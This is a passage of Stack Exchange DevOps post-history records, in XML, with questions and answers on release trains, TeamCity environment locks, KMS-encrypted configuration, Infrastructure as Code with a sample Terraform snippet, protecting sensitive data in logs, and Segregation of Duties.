  <row Id="1721" PostHistoryTypeId="2" PostId="547" RevisionGUID="06f4cc0a-fe25-46c7-b278-be0f3e061428" CreationDate="2017-03-17T17:49:02.267" UserId="677" Text="Looking outside of DevOps specifically, if you are talking about large (ish) enterprise environments then the SAFe methodology has a fairly good way of encouraging this kind of behaviour&#xA;&#xA;Essentially it boils down to a few key stages:&#xA; &#xA; - projects start as release trains. The intent (and the expectation of whoever is funding it) is that it will be long running. I'm talking years long, none of this &quot;stand up a team for 3 months then stand them down&quot; business.&#xA; &#xA; - over the course of a project the release train will inevitably amass more people as more of both new project requirements based on newly realised business opportunities as well as the ongoing tax of BAU style work.&#xA; &#xA; - I almost always see the trains run their first increment as 100% project/change teams, 2nd increment they allocate a percentage of time to Run work. 3rd increment management realise they are about to have a problem and starting adding teams to try and handle the Run overflow to give their now seasoned developers and engineers time to keep working on new requirements.&#xA; &#xA; - if the right balance is struck of project teams being able to keep delivering project outcomes without being bogged down to much in BAU work and new teams who join the train aren't immediately expected to just be 100% support teams, but instead take on a fair portion of the change work that was going to be handled then you end up with delivery teams who are owning the products they are building by default, it doesn't need to come at them all at once that now they are a Run team, instead it just slowly integrates into their day to day activities.&#xA;&#xA;Where this model obviously has some weaknesses is in the pricing for a business. Generally I'd expect to be paying a lot more for a change resource than a run resource, usually run contracts with major vendors are fixed price and the intent is that they make their money on continuous improvement and therefore cost savings.&#xA;&#xA;That being said, it isn't all that difficult to consider the change teams stood up as part of a release train to simply be delivering continuous improvements. If there is something they can build or do which will improve their ability to focus on new project deliveries and be less concerned with BAU work then that should be backlogged and prioritised based on the perceived benefits by whoever holds the money for the release train." ContentLicense="CC BY-SA 3.0" />
  <row Id="1723" PostHistoryTypeId="2" PostId="548" RevisionGUID="b3225405-2da9-498c-a6c9-8a7d81d941e0" CreationDate="2017-03-17T20:37:30.747" UserId="397" Text="TeamCity has a [Shared Resources][1] build feature which allows you to define a resource which multiple Build Definitions depend upon.  Build Definitions can either require a Read Lock or a Write Lock, you can also define if these locks are exclusive or allow a degree of parallelism.&#xA;&#xA;If we make the following assumptions about a shared environment named *PreProd*:&#xA;&#xA; - A Shared Resource exists named &quot;PreProd&quot;.&#xA; - All build definitions, such as deployments, that make any kind of change to that environment take an exclusive **Write Lock** on &quot;PreProd&quot;.&#xA; - All build definitions, such as non-restrictive tests, that perform read-only operations on the environment take an non-exclusive **Read Lock** on &quot;PreProd&quot;.&#xA; - TeamCity is the only process that can do anything on PreProd, albeit perhaps via another tool.&#xA;&#xA;This means the following are true:&#xA;&#xA; - When a deployment is happening then nothing else can use PreProd, they will be queued.&#xA; - When a test is running, any deployment would be queued until the tests complete.&#xA;&#xA;You can use a similar mechanism with Jenkins  using the [Exclusion plugin][2].  In fact, you could build this functionality into any process using locking or semaphore - for example [Apache ZooKeeper][3] or [HashiCorp Consul][4].&#xA;&#xA;&#xA;  [1]: https://confluence.jetbrains.com/plugins/servlet/mobile#content/view/74847245&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Exclusion-Plugin&#xA;  [3]: https://zookeeper.apache.org&#xA;  [4]: https://www.consul.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostHistoryTypeId="2" PostId="549" RevisionGUID="062e56f2-f21a-43ba-8dc9-9d930b26762d" CreationDate="2017-03-17T23:40:44.177" UserId="397" Text="There are a couple of elements to consider here:&#xD;&#xA;&#xD;&#xA;1. It is valuable to have the capability to maintain configuration with a separate release cadence from the code that is being configured. Doing so encourages rotation of credentials in an automated manner, do it regularly make it painless.  &#xD;&#xA;&#xD;&#xA;2. It is entirely reasonable from an &quot;Infrastructure as Code&quot; point of view to store all configuration in Git, albeit probably in a different repository as the scope of configuration is likely to span more than one service.&#xD;&#xA;&#xD;&#xA;3. Assuming both of the above statements are relevant to your situation, I would be inclined to encrypt the data with KMS and store it in S3 or DynamoDB.  I would even go so far to say that in very simple situations it might be suitable to [encrypt and store the data within KMS itself.][1]&#xD;&#xA;&#xD;&#xA;There are several open source libraries that will support this operation:&#xD;&#xA;&#xD;&#xA; - Python: [CredS3][2]&#xD;&#xA; - Go: [Sneaker][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/kms/latest/APIReference/API_Encrypt.html&#xD;&#xA;  [2]: https://pypi.python.org/pypi/creds3&#xD;&#xA;  [3]: https://github.com/codahale/sneaker" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostHistoryTypeId="2" PostId="550" RevisionGUID="cbbaa79a-15a4-4016-84ac-f5d97aef8e00" CreationDate="2017-03-17T23:43:39.303" UserId="397" Text="The phrase &quot;Infrastructure as Code&quot; has been mentioned several times in the last two weeks in different contexts.  What does it actually mean in a practical sense to have Infrastructure as Code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostHistoryTypeId="1" PostId="550" RevisionGUID="cbbaa79a-15a4-4016-84ac-f5d97aef8e00" CreationDate="2017-03-17T23:43:39.303" UserId="397" Text="What is &quot;Infrastructure as Code&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1727" PostHistoryTypeId="3" PostId="550" RevisionGUID="cbbaa79a-15a4-4016-84ac-f5d97aef8e00" CreationDate="2017-03-17T23:43:39.303" UserId="397" Text="&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostHistoryTypeId="2" PostId="551" RevisionGUID="05f01093-ebeb-4fa3-afb9-93ec2132fdc5" CreationDate="2017-03-18T01:22:49.230" UserId="47" Text="My answer is the context of the question is very expensive test environment (like mainframes or very large telecom equipment, for example) which are expected to be shared by multiple users for multiple tests, even simultaneously.&#xD;&#xA;&#xD;&#xA;In many cases such equipment has a software management system responsible for, among other things, controlling software (un)installation/upgrades/downgrades/etc. Which should have some mechanism for blocking such operations (which would be, if I understood the question correctly, equivalent to freezing the environment) based on some more or less programmable policies.&#xD;&#xA;&#xD;&#xA;In such case a specific policy could be developed exactly to support the desired freezing schedule necessary for the test environment. Ideally automated, accepting freezing/thawing triggers from the external sources which could be the test execution wrappers or CI systems. And maybe with human-triggered overrides, if deemed necessary.&#xD;&#xA;&#xD;&#xA;Of course, such feature of the software management system would be helpful when testing other components of the equipment, but maybe not for tests of the software management system itself." ContentLicense="CC BY-SA 3.0" />
  <row Id="1730" PostHistoryTypeId="2" PostId="552" RevisionGUID="b068c8ee-aee6-4f43-88f9-fca6c06cda7e" CreationDate="2017-03-18T03:51:44.400" UserId="46" Text="Before explaining what it exactly is, let me quote a really nice definition, straight from Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; Infrastructure as Code (IaC) is the process of managing and&#xD;&#xA;&gt; provisioning computing infrastructure (processes, bare-metal servers,&#xD;&#xA;&gt; virtual servers, etc.) and their configuration through&#xD;&#xA;&gt; machine-processable definition files, rather than physical hardware&#xD;&#xA;&gt; configuration or the use of interactive configuration tools.&#xD;&#xA;&#xD;&#xA;Okay, now let's look at one such IaC tool, Terraform to understand the concept better: https://www.terraform.io/&#xD;&#xA;&#xD;&#xA;Also, this is what Terraform say about itself: &#xD;&#xA;&#xD;&#xA;    Terraform enables you to safely and predictably create, change, and improve production infrastructure. It is an open source tool that codifies APIs into declarative configuration files that can be shared amongst team members, treated as code, edited, reviewed, and versioned.&#xD;&#xA;&#xD;&#xA;This means, one can code the entire infra. which includes creation of cloud(/infra.) resources like the server instances, load balancers, etc, along with the complete configurations(which includes the basic settings tweaks, security settings, regions, etc) as code, which can be editable, versionable and of course, reviewable.&#xD;&#xA;&#xD;&#xA;This is a sample example of Terraform code for provisioning AWS resources:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;frontend&quot; {&#xD;&#xA;      name = &quot;frontend-load-balancer&quot;&#xD;&#xA;      listener {&#xD;&#xA;        instance_port     = 8000&#xD;&#xA;        instance_protocol = &quot;http&quot;&#xD;&#xA;        lb_port           = 80&#xD;&#xA;        lb_protocol       = &quot;http&quot;&#xD;&#xA;      }&#xD;&#xA;     &#xD;&#xA;      instances = [&quot;${aws_instance.app.*.id}&quot;]&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;app&quot; {&#xD;&#xA;      count = 5&#xD;&#xA;     &#xD;&#xA;      ami           = &quot;ami-408c7f28&quot;&#xD;&#xA;      instance_type = &quot;t1.micro&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Bonus PS: Also, one needs to understand the differences between provisioning and [orchestration][1] tools. Devs often confuse one for an other very often and tend to make the mistake of trying to tweak and use a tool for what it is not intended to be used for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostHistoryTypeId="6" PostId="550" RevisionGUID="e890ff8c-609a-4ba3-a338-bcc284a1848a" CreationDate="2017-03-18T04:05:47.290" UserId="46" Comment="edited tags" Text="&lt;terminology&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1732" PostHistoryTypeId="5" PostId="552" RevisionGUID="c505cae0-851b-43d1-b3f0-c5b3581673c0" CreationDate="2017-03-18T04:06:54.633" UserId="47" Comment="improved formatting and added reference links." Text="Before explaining what it exactly is, let me quote a really nice definition, straight [from Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Infrastructure as Code (IaC) is the process of managing and&#xD;&#xA;&gt; provisioning computing infrastructure (processes, bare-metal servers,&#xD;&#xA;&gt; virtual servers, etc.) and their configuration through&#xD;&#xA;&gt; machine-processable definition files, rather than physical hardware&#xD;&#xA;&gt; configuration or the use of interactive configuration tools.&#xD;&#xA;&#xD;&#xA;Okay, now let's look at one such IaC tool, Terraform to understand the concept better: https://www.terraform.io/&#xD;&#xA;&#xD;&#xA;Also, this is what Terraform say about itself: &#xD;&#xA;&#xD;&#xA;&gt; Terraform enables you to safely and predictably create, change, and&#xD;&#xA;&gt; improve production infrastructure. It is an open source tool that&#xD;&#xA;&gt; codifies APIs into declarative configuration files that can be shared&#xD;&#xA;&gt; amongst team members, treated as code, edited, reviewed, and&#xD;&#xA;&gt; versioned.&#xD;&#xA;&#xD;&#xA;This means, one can code the entire infra. Which includes creation of cloud(/infra) resources like the server instances, load balancers, etc, along with the complete configurations (which includes the basic settings tweaks, security settings, regions, etc) as code, which can be editable, versionable and of course, reviewable.&#xD;&#xA;&#xD;&#xA;This is a sample example of Terraform code for provisioning AWS resources:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;frontend&quot; {&#xD;&#xA;      name = &quot;frontend-load-balancer&quot;&#xD;&#xA;      listener {&#xD;&#xA;        instance_port     = 8000&#xD;&#xA;        instance_protocol = &quot;http&quot;&#xD;&#xA;        lb_port           = 80&#xD;&#xA;        lb_protocol       = &quot;http&quot;&#xD;&#xA;      }&#xD;&#xA;     &#xD;&#xA;      instances = [&quot;${aws_instance.app.*.id}&quot;]&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;app&quot; {&#xD;&#xA;      count = 5&#xD;&#xA;     &#xD;&#xA;      ami           = &quot;ami-408c7f28&quot;&#xD;&#xA;      instance_type = &quot;t1.micro&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Bonus PS: Also, one needs to understand the differences between [provisioning][2] and [orchestration][3] tools. Devs often confuse one for an other very often and tend to make the mistake of trying to tweak and use a tool for what it is not intended to be used for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Provisioning&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1733" PostHistoryTypeId="5" PostId="552" RevisionGUID="1783781e-49d0-4e54-b13d-5b8cd0872518" CreationDate="2017-03-18T04:08:19.690" UserId="46" Comment="edited body" Text="Before explaining what it exactly is, let me quote a really nice definition, straight [from Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Infrastructure as Code (IaC) is the process of managing and&#xD;&#xA;&gt; provisioning computing infrastructure (processes, bare-metal servers,&#xD;&#xA;&gt; virtual servers, etc.) and their configuration through&#xD;&#xA;&gt; machine-processable definition files, rather than physical hardware&#xD;&#xA;&gt; configuration or the use of interactive configuration tools.&#xD;&#xA;&#xD;&#xA;Okay, now let's look at one such IaC tool, Terraform to understand the concept better: https://www.terraform.io/&#xD;&#xA;&#xD;&#xA;Also, this is what Terraform say about itself: &#xD;&#xA;&#xD;&#xA;&gt; Terraform enables you to safely and predictably create, change, and&#xD;&#xA;&gt; improve production infrastructure. It is an open source tool that&#xD;&#xA;&gt; codifies APIs into declarative configuration files that can be shared&#xD;&#xA;&gt; amongst team members, treated as code, edited, reviewed, and&#xD;&#xA;&gt; versioned.&#xD;&#xA;&#xD;&#xA;This means, one can code the entire infra. which includes creation of cloud(/infra) resources like the server instances, load balancers, etc, along with the complete configurations (which includes the basic settings tweaks, security settings, regions, etc) as code, which can be editable, versionable and of course, reviewable.&#xD;&#xA;&#xD;&#xA;This is a sample example of Terraform code for provisioning AWS resources:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;frontend&quot; {&#xD;&#xA;      name = &quot;frontend-load-balancer&quot;&#xD;&#xA;      listener {&#xD;&#xA;        instance_port     = 8000&#xD;&#xA;        instance_protocol = &quot;http&quot;&#xD;&#xA;        lb_port           = 80&#xD;&#xA;        lb_protocol       = &quot;http&quot;&#xD;&#xA;      }&#xD;&#xA;     &#xD;&#xA;      instances = [&quot;${aws_instance.app.*.id}&quot;]&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;app&quot; {&#xD;&#xA;      count = 5&#xD;&#xA;     &#xD;&#xA;      ami           = &quot;ami-408c7f28&quot;&#xD;&#xA;      instance_type = &quot;t1.micro&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Bonus PS**: Also, one needs to understand the differences between [provisioning][2] and [orchestration][3] tools. Devs often confuse one for the other very often and tend to make the mistake of trying to tweak and use a tool for what it is not intended to be used for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Provisioning&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostHistoryTypeId="2" PostId="553" RevisionGUID="d560ddfb-5b1a-4f48-8274-19665613ceee" CreationDate="2017-03-18T05:16:11.697" UserId="228" Text="**TL;DR**: [Infrastructure as Code][1] is a way to automate and backup your environment. In ideal case, after a disaster, you *could restore* your Infrastructure *fully and automatically* by Provisioning new resources, Restoring Configuration from Code Repository and Recovering Data from Backup.&#xD;&#xA;&#xD;&#xA;## Overview ##&#xD;&#xA;&#xD;&#xA;Infrastructure as Code relies on three main concepts:&#xD;&#xA;&#xD;&#xA; - Automation of [Configuration Management][2], called [Continuous Configuration Automation][3] a field pioneered by prof. [Mark Burgess][4]&#xD;&#xA;&#xD;&#xA; - [Code Repository][5] for changes to Infrastructure, where changes are first committed, documented, reviewed, [tested][6] and then deployed through automation.&#xD;&#xA; &#xD;&#xA; - [Managed Infrastructure][7] Provisioning. [Infrastructure as a Service][8] (IaaS). Either through [Cloud Computing][9], [Private or Managed Cloud][10] or Managed [Datacenter Services][11]  &#xD;&#xA;&#xD;&#xA;### Automation ###&#xD;&#xA;&#xD;&#xA;Configuration Management is in its 3rd generation of tools. Building on CFEngine a new set of tools for Automated Configuration Management is being widely deployed now. The most popular in alphabetical order are *Ansible, CFEngine, Chef, Puppet, PowerShell DSC and SaltStack*. Each will have a **Language** to describe state of your infrastructure, **Code Modules** to apply those changes and provide ability to extend the tools, some **Agent** to execute those on the servers and a **Central Repository** of information.&#xD;&#xA;&#xD;&#xA;They will generally operate in push or pull mode, either connecting to servers from a central location(s) and executing changes remotely or running on each server and pulling information about state from central location and that either in client/server model or in a distributed way.&#xD;&#xA;&#xD;&#xA;The **important concept** is for the system administrator or site reliability engineer to **not make changes directly** to the infrastructure, but let the automation do changes. Anything **done manually by a human** should be considered either perishable, being soon corrected back by automation or in stricter form **violating the integrity** of the infrastructure and triggering destruction and rebuild of the affected components.&#xD;&#xA;&#xD;&#xA;### Code Repository ###&#xD;&#xA;&#xD;&#xA;Code Repository, ideally separate from Repository holding Software, would be used to manage all changes to the Infrastructure and related Automation. It should hold Configuration files and templates, Playbooks (Cookbooks) describing process of changes to be reviewed, Code extending the CM automation tools, Provisioning configurations, Infrastructure Tests and Alerts, Staging/Deployment Tests, Documentation, Manual (not yet automated) Process Descriptions.&#xD;&#xA;&#xD;&#xA;The important concept is to institute peer reviews for changes, to have record of all changes and ability to automatically revert to previous state in case of unpredictable and/or untested issues, ability to deploy to staging environment and test configuration changes and ability to automatically deploy changes without variation caused by human error.  &#xD;&#xA;&#xD;&#xA;### Managed Infrastructure ###&#xD;&#xA;&#xD;&#xA;Managing Physical Infrastructure is a real world task that goes beyond software and requires very different set of skills. By being able to abstract this layer through Cloud Computing or a Managed Datacenter, you have your team focus on the part of managing Infrastructure that adds business value. &#xD;&#xA;&#xD;&#xA;While Cloud Computing offers a way to start and scale quickly at a later stage companies often realize some benefits and even significant savings in moving parts of the Infrastructure in their own data centers for a hybrid model. Owning or renting the hardware does not mean that you also have to employ the people who handle it. At this scale you need data centers geographically distributed around the world and having people with all the required skills in all places would be very expensive. Flying them around the world adds high latency to any changes and additional level of operational inefficiencies, which is another reason for outsourcing the datacenter management.&#xD;&#xA;&#xD;&#xA;The important takeaway is that **Managed Physical Infrastructure** is often forgotten or **overlooked concept**, but just as important. Even if you've got everything automated, all configuration stored in a backed up code repository, unless you have a way to **quickly provision**, you have a **huge bottleneck**, which could easily **erase all the benefits** you've gained by the other two steps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Configuration_management&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_configuration_automation&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Mark_Burgess_(computer_scientist)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Version_control&#xD;&#xA;  [6]: https://devops.com/agile-infrastructure-infrastructure-deserves-tests/&#xD;&#xA;  [7]: https://www-935.ibm.com/services/us/en/it-services/server-services/integrated-managed-infrastructure-services/index.html#solutions&#xD;&#xA;  [8]: http://www.gartner.com/it-glossary/infrastructure-as-a-service-iaas/&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Cloud_computing#Infrastructure_as_a_service_.28IaaS.29&#xD;&#xA;  [10]: https://www.oracle.com/cloud/iaas.html&#xD;&#xA;  [11]: http://www.wipro.com/services/infrastructure-services/services/data-center-services/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostHistoryTypeId="4" PostId="550" RevisionGUID="b52e57a5-bd45-4324-b5d6-81f2ff5c1719" CreationDate="2017-03-18T05:42:36.317" UserId="46" Comment="edited title" Text="What is &quot;Infrastructure as Code&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1736" PostHistoryTypeId="5" PostId="551" RevisionGUID="ee68c0fb-7c74-4bc9-80c0-7d740030d248" CreationDate="2017-03-18T08:02:30.017" UserId="40" Comment="fix typos" Text="My answer in the context of the question is a very expensive test environment (like mainframes or very large telecom equipment, for example) which are expected to be shared by multiple users for multiple tests, even simultaneously.&#xD;&#xA;&#xD;&#xA;In many cases such equipment has a software management system responsible for, among other things, controlling software (un)installation/upgrades/downgrades/etc. Which should have some mechanism for blocking such operations (which would be, if I understood the question correctly, equivalent to freezing the environment) based on some more or less programmable policies.&#xD;&#xA;&#xD;&#xA;In such case a specific policy could be developed exactly to support the desired freezing schedule necessary for the test environment. Ideally automated, accepting freezing/thawing triggers from the external sources which could be the test execution wrappers or CI systems. And maybe with human-triggered overrides, if deemed necessary.&#xD;&#xA;&#xD;&#xA;Of course, such feature of the software management system would be helpful when testing other components of the equipment, but maybe not for tests of the software management system itself." ContentLicense="CC BY-SA 3.0" />
  <row Id="1737" PostHistoryTypeId="5" PostId="548" RevisionGUID="d88b3197-7d1e-4a1d-b9bc-00ff55e5fdd0" CreationDate="2017-03-18T09:18:25.603" UserId="397" Comment="Added Hyperlinks to TeamCity and Jenkins" Text="[TeamCity][1] has a [Shared Resources][2] build feature which allows you to define a resource which multiple Build Definitions depend upon it.  Build Definitions can either require a Read Lock or a Write Lock, you can also define if these locks are exclusive or allow a degree of parallelism.&#xD;&#xA;&#xD;&#xA;If we make the following assumptions about a shared environment named *PreProd*:&#xD;&#xA;&#xD;&#xA; - A Shared Resource exists named &quot;PreProd&quot;.&#xD;&#xA; - All build definitions, such as deployments, that make any change to that environment take an exclusive **Write Lock** on &quot;PreProd&quot;.&#xD;&#xA; - All build definitions, such as non-restrictive tests, that perform read-only operations on the environment take a non-exclusive **Read Lock** on &quot;PreProd&quot;.&#xD;&#xA; - TeamCity is the only process that can do anything on PreProd, albeit perhaps via another tool.&#xD;&#xA;&#xD;&#xA;Therefore the following are true:&#xD;&#xA;&#xD;&#xA; - When a deployment is happening then nothing else can use PreProd, they will be queued.&#xD;&#xA; - When a test is running, any deployment would be queued until the tests complete.&#xD;&#xA;&#xD;&#xA;You can use a similar mechanism with [Jenkins][3] using the [Exclusion plugin][4].  In fact, you could build this functionality into any process using locking or semaphore - for example [Apache ZooKeeper][5] or [HashiCorp Consul][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [2]: https://confluence.jetbrains.com/plugins/servlet/mobile#content/view/74847245&#xD;&#xA;  [3]: https://jenkins.io/&#xD;&#xA;  [4]: https://wiki.jenkins-ci.org/display/JENKINS/Exclusion-Plugin&#xD;&#xA;  [5]: https://zookeeper.apache.org&#xD;&#xA;  [6]: https://www.consul.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostHistoryTypeId="5" PostId="521" RevisionGUID="25359646-670a-4279-a5d7-5979c14ba49f" CreationDate="2017-03-18T10:18:58.463" UserId="40" Comment="Fix typos" Text="I'll give my experience on this one, mostly because it showcases why some answers are not always applicable.&#xD;&#xA;&#xD;&#xA;Some context to start:&#xD;&#xA;&#xD;&#xA;- We have 7 environments to host roughly 80 applications, most of them rely on each others through webservices or shared tables on db2-iSeries.  &#xD;&#xA;- For good or bad, the iSeries are our DB system of reference.  &#xD;&#xA;- This last point invalidates any idea of bringing the app with its dependencies in an isolated environment as bringing up an AS400 for each would cost too much and we wouldn't have the hardware to run it anyway.&#xD;&#xA;&#xD;&#xA;What we are doing is not a complete automated Continuous Delivery, we have a schedule of releases to bring up a coherent lot of applications for the general operations. Aside from this each test teams can trigger a release in one of the Q/A environment for the application they are testing and can put a lock on some application version to avoid another team request breaking their tests.&#xD;&#xA;&#xD;&#xA;Dependencies of applications are checked before release, so the system won't release something if other applications can't be updated or doesn't match its dependencies needed.&#xD;&#xA;The main idea is to allow updates when it won't impact someone, if there are no tests planned, it should flow from previous environment (and we're aiming at removing the scheduled releases in the 5 firsts environments on mid term now we have validated this 'on demand' method system).&#xD;&#xA;&#xD;&#xA;The short version is to have a 'semaphore' system around the applications in the environment, a team should be able to lock its target application with its dependencies (and transitive dependencies) for the time of manual tests.   &#xD;&#xA;The implementation of this semaphore is highly dependent on your automation system so I won't extend on that.&#xD;&#xA;&#xD;&#xA;Of course the easy way is, as others mentioned, to create a fresh environment for an application with all its dependencies to avoid the semaphore described above." ContentLicense="CC BY-SA 3.0" />
  <row Id="1739" PostHistoryTypeId="2" PostId="554" RevisionGUID="a264c429-35c2-44d5-bb67-6b9bf2542c45" CreationDate="2017-03-18T10:59:17.450" UserId="397" Text="Working in highly regulated environments data is classified in different ways depending on the sensitivity. In some cases, this is legally enforced and must be treated differently.&#xD;&#xA;&#xD;&#xA;Examples of a data classification policy are:&#xD;&#xA;&#xD;&#xA; - **Highly Restricted** Data, such as Passwords, Private Keys, SAML Tokens, and Credit Card Numbers.&#xD;&#xA; - **Restricted** Data, such as Usernames and Customer IDs.&#xD;&#xA; - **Unrestricted** Data, pretty much anything else.&#xD;&#xA;&#xD;&#xA;This classification comes with certain obligations:&#xD;&#xA;&#xD;&#xA; - Any data that is **Highly Restricted** must never be made available in logfile under any circumstances.&#xD;&#xA;&#xD;&#xA; - **Restricted** data could be made available in log files under specific circumstances. For example, if an incident were to occur with a service then the on-call engineer would be able to enact a [Break-Glass][1] procedure to access this data to diagnose the problem - this Break-Glass procedure would, in turn, trigger a review, an audit, and possibly temporary revocation of privilege from that engineer.&#xD;&#xA;&#xD;&#xA;How can this be achieved given the range of logging, monitoring and instrumentation tools available on the market? i.e. Splunk, AppDynamics, Data Dog, New Relic, etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://security-architect.com/how-to-balance-assurance-and-availability-in-pam-systems/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1740" PostHistoryTypeId="1" PostId="554" RevisionGUID="a264c429-35c2-44d5-bb67-6b9bf2542c45" CreationDate="2017-03-18T10:59:17.450" UserId="397" Text="How to secure sensitive data in log files" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostHistoryTypeId="3" PostId="554" RevisionGUID="a264c429-35c2-44d5-bb67-6b9bf2542c45" CreationDate="2017-03-18T10:59:17.450" UserId="397" Text="&lt;security&gt;&lt;logging&gt;&lt;data&gt;&lt;financial-services&gt;&lt;data-protection&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1742" PostHistoryTypeId="2" PostId="555" RevisionGUID="945107eb-3faa-4326-90bb-908ef157cf96" CreationDate="2017-03-18T11:25:23.683" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostHistoryTypeId="1" PostId="555" RevisionGUID="945107eb-3faa-4326-90bb-908ef157cf96" CreationDate="2017-03-18T11:25:23.683" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostHistoryTypeId="2" PostId="556" RevisionGUID="f47fe63e-331b-496c-b449-a93a301a6daf" CreationDate="2017-03-18T11:25:23.683" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1745" PostHistoryTypeId="1" PostId="556" RevisionGUID="f47fe63e-331b-496c-b449-a93a301a6daf" CreationDate="2017-03-18T11:25:23.683" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1746" PostHistoryTypeId="2" PostId="557" RevisionGUID="6211cc40-b7ea-4fe3-a3c6-1bd3cf566840" CreationDate="2017-03-18T11:29:37.513" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostHistoryTypeId="1" PostId="557" RevisionGUID="6211cc40-b7ea-4fe3-a3c6-1bd3cf566840" CreationDate="2017-03-18T11:29:37.513" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostHistoryTypeId="2" PostId="558" RevisionGUID="ce35f85c-1d49-4f3e-b6d6-15e83ffbdee7" CreationDate="2017-03-18T11:29:37.513" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1749" PostHistoryTypeId="1" PostId="558" RevisionGUID="ce35f85c-1d49-4f3e-b6d6-15e83ffbdee7" CreationDate="2017-03-18T11:29:37.513" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1750" PostHistoryTypeId="2" PostId="559" RevisionGUID="47952fc2-46ab-4884-8f66-744e1e68cdef" CreationDate="2017-03-18T11:29:58.343" UserId="397" Text="In highly regulated environments, such as the Financial Services sector, [Segregation of Duties][1] is an essential mechanism for avoiding collision amongst individuals with development responsibilities and production privileges.&#xD;&#xA;&#xD;&#xA;Traditionally this has meant that **Developers** develop code and then hand it over to **Operations** however in many DevOps Operating Models the segregation between Development and Operations is, at a minimum, blurred:&#xD;&#xA;&#xD;&#xA; - In Google's [Site Reliability Engineering][2], or SRE, practice there is a separate SRE function within Google, however, Developers are brought in to backstop the SREs in times of high operational load.&#xD;&#xA;&#xD;&#xA; - In the [&quot;You Build It, You Run It&quot;][3] model there is no separate operations function.&#xD;&#xA;&#xD;&#xA;After spending months drilling down to the root causes of a Segregation of Duties mechanism it seems it predominantly exists to satisfy [Sarbanes Oxley Section 404][4]: Management Assessment of Internal Controls:&#xD;&#xA;&#xD;&#xA;&gt; (a) Rules Required.&#xD;&#xA;&gt; The Commission shall prescribe rules requiring each annual report required by section 13(a) or 15(d) of the Securities Exchange Act of 1934 to contain an internal control report, which shall--&#xD;&#xA;&#xD;&#xA;&gt;   (1) state the responsibility of management for establishing and maintaining an adequate internal control structure and procedures for financial reporting; and&#xD;&#xA;&#xD;&#xA;&gt;   (2) contain an assessment, as of the end of the most recent fiscal year of the issuer, of the effectiveness of the internal control structure and procedures of the issuer for financial reporting.&#xD;&#xA;&#xD;&#xA;&gt;(b) Internal Control Evaluation and Reporting. With respect to the internal control assessment required by subsection (a), each registered public accounting firm that prepares or issues the audit report for the issuer shall attest to, and report on, the assessment made by the management of the issuer. An attestation made under this subsection shall be made in accordance with standards for attestation engagements issued or adopted by the Board. Any such attestation shall not be the subject of a separate engagement.&#xD;&#xA;&#xD;&#xA;**TL;DR**: It is the responsibility of the management to ensure that adequate internal controls are in place that comply with the [Securities and Exchange Commission's][5] [regulations][6]. &#xD;&#xA;&#xD;&#xA;Sarbanes Oxley 404 is normally satisfied through the completion of 